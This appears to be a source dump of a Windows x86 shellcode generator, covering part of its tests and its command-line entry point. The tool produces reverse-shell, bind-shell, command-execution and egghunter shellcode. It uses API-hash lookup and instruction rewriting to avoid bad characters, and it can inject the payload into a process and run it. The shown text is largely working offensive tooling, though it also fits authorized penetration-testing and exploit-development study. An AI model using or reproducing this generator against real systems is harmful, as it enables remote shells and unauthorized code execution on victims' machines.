| 48 | def test_run_replaced_shellcode(self): 49 | port = random.randint(49152, 65535) 50 | bad_chars = b"\x00\x08\x09\x0A\x0B\x0D\x20\x23\x25\x26\x2E\x2F\x3D\x3F\x5C" 51 | 52 | code = reverse_shell.generate( 53 | "127.0.0.1", 54 | port, 55 | bad_chars=bad_chars, 56 | exit_func=("ntdll.dll", "RtlExitUserThread"), 57 | debug=False, 58 | ) 59 | replaced_code = stones.replace_instructions(code, bad_chars) 60 | shellcode = stones.assemble(replaced_code) 61 | self.assertFalse(any(c in bad_chars for c in shellcode)) 62 | 63 | self.assertTrue(test_reverse_shell_shellcode(shellcode, port)) 64 | -------------------------------------------------------------------------------- /tests/test_util.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from coder import util 4 | from stones import assemble 5 | 6 | 7 | class TestUtil(unittest.TestCase): 8 | def test_compute_hash(self): 9 | for args, expect in [ 10 | (("ntdll.dll", "RtlExitUserThread"), 0xFF7F06BA), 11 | (("KERNEL32.DLL", "LoadLibraryA"), 0xEC0E502E), 12 | (("KERNEL32.DLL", "WinExec"), 0x0E8B01D8), 13 | (("KERNEL32.DLL", "CreateProcessA"), 0x16B46672), 14 | (("KERNEL32.DLL", "TerminateProcess"), 0x78CFB983), 15 | (("KERNEL32.DLL", "VirtualAlloc"), 0x91AFCBF4), 16 | (("KERNEL32.DLL", "VirtualProtect"), 0x79472E1B), 17 | (("KERNEL32.DLL", "WriteProcessMemory"), 0xDEBD6AA1), 18 | (("WS2_32.DLL", "WSAStartup"), 0xBBFCEDD0), 19 | (("WS2_32.DLL", "WSASocketA"), 0x2DF509DF), 20 | (("WS2_32.DLL", "WSAConnect"), 0x332DBA12), 21 | (("WS2_32.DLL", "bind"), 0xC7717AA4), 22 | (("WS2_32.DLL", "listen"), 0xE986ADA4), 23 | (("WS2_32.DLL", "accept"), 0x49DE49E5), 24 | ]: 25 | actual = util.compute_hash( 26 | module_name=args[0], function_name=args[1], key=0xD 27 | ) 28 | self.assertEqual(actual, expect) 29 | 30 | def test_find_hash_key(self): 31 | functions = [ 32 | ("ntdll.dll", "RtlExitUserThread"), 33 | ("KERNEL32.DLL", "LoadLibraryA"), 34 | ("KERNEL32.DLL", "WinExec"), 35 | ("KERNEL32.DLL", "CreateProcessA"), 36 | ("KERNEL32.DLL", "TerminateProcess"), 37 | ("KERNEL32.DLL", "VirtualAlloc"), 38 | ("KERNEL32.DLL", "VirtualProtect"), 39 | ("KERNEL32.DLL", "WriteProcessMemory"), 40 | ("WS2_32.DLL", "WSAStartup"), 41 | ("WS2_32.DLL", "WSASocketA"), 42 | ("WS2_32.DLL", "WSAConnect"), 43 | ("WS2_32.DLL", "bind"), 44 | ("WS2_32.DLL", "listen"), 45 | ("WS2_32.DLL", "accept"), 46 | ] 47 | 48 | for bad_chars, expect_key, expect_contains_bad_chars in [ 49 | (b"", 0x0, False), 50 | (b"\x00", 0x5, False), 51 | (b"\x00\x2F", 0x8, False), 52 | (b"\x00\x2F\x3D", 0xA, False), 53 | (b"\x00\x0D\x2F\x3D", 0x2D, False), 54 | (b"\x00\x0D\x2E\x2F\x3D", 0xE, False), 55 | (b"\x00\x0D\x2D\x2E\x2F\x3D", 0x12, False), 56 | (b"\x00\x0D\x2D\x2E\x2F\x3D\x3F", 0x14, False), 57 | (b"\x00\x0A\x0D\x2D\x2E\x2F\x3D\x3F", 0x19, False), 58 | (b"\x00\x0A\x0D\x2D\x2E\x2F\x3C\x3D\x3F", util.DEFAULT_HASH_KEY, True), 59 | ]: 60 | actual_key = util.find_hash_key(functions=functions, bad_chars=bad_chars) 61 | self.assertEqual(actual_key, expect_key) 62 | 63 | actual_contains_bad_chars = any( 64 | any( 65 | c in bad_chars 66 | for c in util.compute_hash( 67 | module_name=m_name, function_name=f_name, key=actual_key 68 | ).to_bytes(4, "little") 69 | ) 70 | for m_name, f_name in functions 71 | ) 72 | self.assertEqual(actual_contains_bad_chars, expect_contains_bad_chars) 73 | 74 | def test_push_string(self): 75 | push_chars = [0x35, 0x50, 0xB8, 0xD8, 0xF7] 76 | 77 | for args, expect in [ 78 | (("foo", b""), "push 0x6f6f66;"), 79 | (("foo", b"\x00\x66\x6F"), "mov eax, 0xff90909a;neg eax;push eax;"), 80 | ( 81 | ("foo", b"\x00\x66\x6F\xFF"), 82 | "mov eax, 0x1010101;xor eax, 0x16e6e67;push eax;", 83 | ), 84 | (("foobarbaz", b""), "push 0x7a;push 0x61627261;push 0x626f6f66;"), 85 | ( 86 | ("foobarbaz", b"\x00\x61\x62\x66\x6F\x72\x7A"), 87 | "mov eax, 0xfefeff86;neg eax;push eax;mov eax, 0x9e9d8d9f;neg eax;push eax;mov eax, 0x9d90909a;neg eax;push eax;", 88 | ), 89 | ( 90 | ("foobarbaz", b"\x00\x61\x62\x66\x6F\x72\x7A\xFF"), 91 | "mov eax, 0x2020101;xor eax, 0x303017b;push eax;mov eax, 0x9e9d8d9f;neg eax;push eax;mov eax, 0x9d90909a;neg eax;push eax;", 92 | ), 93 | ( 94 | ("foobarbaz", b"\x00\x61\x62\x66\x6F\x72\x7A\x8D\xFF"), 95 | "mov eax, 0x2020101;xor eax, 0x303017b;push eax;mov eax, 0x1010101;xor eax, 0x60637360;push eax;mov eax, 0x9d90909a;neg eax;push eax;", 96 | ), 97 | ( 98 | ("foobarbaz", b"\x00\x61\x62\x66\x6F\x72\x7A\x8D\x90\xFF"), 99 | "mov eax, 0x2020101;xor eax, 0x303017b;push eax;mov eax, 0x1010101;xor eax, 0x60637360;push eax;mov eax, 0x1010101;xor eax, 0x636e6e67;push eax;", 100 | ), 101 | ( 102 | ( 103 | "foobarbaz", 104 | bytes([c for c in range(0x7F) if c not in push_chars]) 105 | + b"\x8D\x90\xFF", 106 | ), 107 | "mov eax, 0x80803580;xor eax, 0xb5b535fa;push eax;mov eax, 0x80808080;xor eax, 0xe1e2f2e1;push eax;mov eax, 0x80808080;xor eax, 0xe2efefe6;push eax;", 108 | ), 109 | ( 110 | ( 111 | "foobarbaz", 112 | b"\x00" 113 | + bytes([c for c in range(0x41, 0x100) if c not in push_chars]), 114 | ), 115 | "mov eax, 0x202012a;xor eax, 0x3030150;push eax;mov eax, 0x21222221;xor eax, 0x40405040;push eax;mov eax, 0x222f2f26;xor eax, 0x40404040;push eax;", 116 | ), 117 | ]: 118 | actual = util.push_string(input_str=args[0], bad_chars=args[1]) 119 | self.assertEqual(actual, expect) 120 | 121 | shellcode = assemble(asm=actual) 122 | self.assertFalse(any(c in args[1] for c in shellcode)) 123 | -------------------------------------------------------------------------------- /win_x86_shellcoder.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from ast import literal_eval 3 | 4 | import runner 5 | import stones 6 | from coder import bind_shell, egghunter, exec_command, reverse_shell 7 | 8 | EXIT_FUNCTIONS = { 9 | "process": ("KERNEL32.DLL", "TerminateProcess"), 10 | "thread": ("ntdll.dll", "RtlExitUserThread"), 11 | "none": None, 12 | } 13 | 14 | 15 | def parse_args(): 16 | def setup_parser(): 17 | parser = argparse.ArgumentParser(description="Windows x86 Shellcode Generator") 18 | parser.add_argument( 19 | "-b", 20 | "--badchars", 21 | required=False, 22 | help="Characters to avoid", 23 | ) 24 | parser.add_argument( 25 | "-r", 26 | "--run_shellcode", 27 | action="store_true", 28 | required=False, 29 | help="Inject shellcode into a current Python process", 30 | ) 31 | parser.add_argument( 32 | "-w", 33 | "--use_windbg", 34 | action="store_true", 35 | required=False, 36 | help="Insert int3 for debugger into shellcode", 37 | ) 38 | parser.add_argument( 39 | "-e", 40 | "--exit_func", 41 | required=False, 42 | choices=list(EXIT_FUNCTIONS.keys()), 43 | default="process", 44 | help="Function called to terminate shellcode", 45 | ) 46 | return parser 47 | 48 | def setup_reverse_parser(subparsers): 49 | reverse_parser = subparsers.add_parser( 50 | "reverse", help="Generate reverse shell shellcode" 51 | ) 52 | reverse_parser.add_argument( 53 | "-i", 54 | "--lhost", 55 | required=True, 56 | help="Local hostname", 57 | ) 58 | reverse_parser.add_argument( 59 | "-p", 60 | "--lport", 61 | required=True, 62 | help="Local port", 63 | ) 64 | return reverse_parser 65 | 66 | def setup_bind_parser(subparsers): 67 | bind_parser = subparsers.add_parser( 68 | "bind", help="Generate bind shell shellcode" 69 | ) 70 | bind_parser.add_argument( 71 | "-p", 72 | "--rport", 73 | required=True, 74 | help="Remote port", 75 | ) 76 | return bind_parser 77 | 78 | def setup_exec_parser(subparsers): 79 | exec_parser = subparsers.add_parser( 80 | "exec", help="Generate execute command shellcode" 81 | ) 82 | exec_parser.add_argument( 83 | "-c", 84 | "--command", 85 | required=True, 86 | help="Command Line", 87 | ) 88 | return exec_parser 89 | 90 | def setup_egghunter_parser(subparsers): 91 | egghunter_parser = subparsers.add_parser( 92 | "egghunter", help="Generate egghunter shellcode" 93 | ) 94 | egghunter_parser.add_argument( 95 | "egghunter_type", 96 | choices=["ntaccess", "seh"], 97 | help="Egghunter type", 98 | ) 99 | egghunter_parser.add_argument( 100 | "-t", 101 | "--tag", 102 | required=True, 103 | help="Tag", 104 | ) 105 | return egghunter_parser 106 | 107 | def setup_loadfile_parser(subparsers): 108 | loadfile_parser = subparsers.add_parser( 109 | "loadfile", help="Load shellcode from file" 110 | ) 111 | loadfile_parser.add_argument( 112 | "-f", 113 | "--file", 114 | required=True, 115 | help="File path to load", 116 | ) 117 | return loadfile_parser 118 | 119 | parser = setup_parser() 120 | mode_subparsers = parser.add_subparsers( 121 | dest="mode", required=True, help="Shellcode mode" 122 | ) 123 | 124 | setup_reverse_parser(mode_subparsers) 125 | setup_bind_parser(mode_subparsers) 126 | setup_exec_parser(mode_subparsers) 127 | setup_egghunter_parser(mode_subparsers) 128 | setup_loadfile_parser(mode_subparsers) 129 | 130 | return parser.parse_args() 131 | 132 | 133 | def generate_asm_code(args, bad_chars): 134 | if args.mode == "reverse": 135 | code = reverse_shell.generate( 136 | args.lhost, 137 | args.lport, 138 | bad_chars=bad_chars, 139 | exit_func=EXIT_FUNCTIONS[args.exit_func], 140 | debug=args.use_windbg, 141 | ) 142 | 143 | elif args.mode == "bind": 144 | code = bind_shell.generate( 145 | args.rport, 146 | bad_chars=bad_chars, 147 | exit_func=EXIT_FUNCTIONS[args.exit_func], 148 | debug=args.use_windbg, 149 | ) 150 | 151 | elif args.mode == "exec": 152 | code = exec_command.generate( 153 | args.command, 154 | bad_chars=bad_chars, 155 | exit_func=EXIT_FUNCTIONS[args.exit_func], 156 | debug=args.use_windbg, 157 | ) 158 | 159 | elif args.mode == "egghunter": 160 | if args.egghunter_type == "ntaccess": 161 | code = egghunter.generate_ntaccess(args.tag, debug=args.use_windbg) 162 | 163 | elif args.egghunter_type == "seh": 164 | code = egghunter.generate_seh(args.tag, debug=args.use_windbg) 165 | 166 | return code 167 | 168 | 169 | def generate_shellcode(args, bad_chars): 170 | if args.mode == "loadfile": 171 | with open(args.file, "rb") as f: 172 | return f.read() 173 | 174 | code = generate_asm_code(args, bad_chars) 175 | replaced_code = stones.replace_instructions(code, bad_chars) 176 | return stones.assemble(replaced_code) 177 | 178 | 179 | def main(): 180 | args = parse_args() 181 | 182 | bad_chars = b"\x00" 183 | if args.badchars: 184 | bad_chars = literal_eval(f"b'{args.badchars}'") 185 | 186 | shellcode = generate_shellcode(args, bad_chars) 187 | print(f"# shellcode size: {hex(len(shellcode))} ({len(shellcode)})") 188 | print(f"shellcode = {bytes(shellcode)}") 189 | 190 | contains_bad_chars = any(c in bad_chars for c in shellcode) 191 | if contains_bad_chars: 192 | instructions = stones.disassemble(shellcode) 193 | asm = stones.find_bad_chars(instructions, bad_chars) 194 | print("\n# bad chars were found in the shellcode") 195 | print(asm) 196 | 197 | if args.run_shellcode: 198 | ptr = runner.load_shellcode(shellcode) 199 | print(f"\n# address of the injected shellcode: {hex(ptr)}") 200 | 201 | input("Press any key to execute the shellcode...") 202 | 203 | print("Executing the shellcode") 204 | runner.run_shellcode(ptr) 205 | 206 | print("Execution finished") 207 | 208 | 209 | if __name__ == "__main__": 210 | main() 211 | --------------------------------------------------------------------------------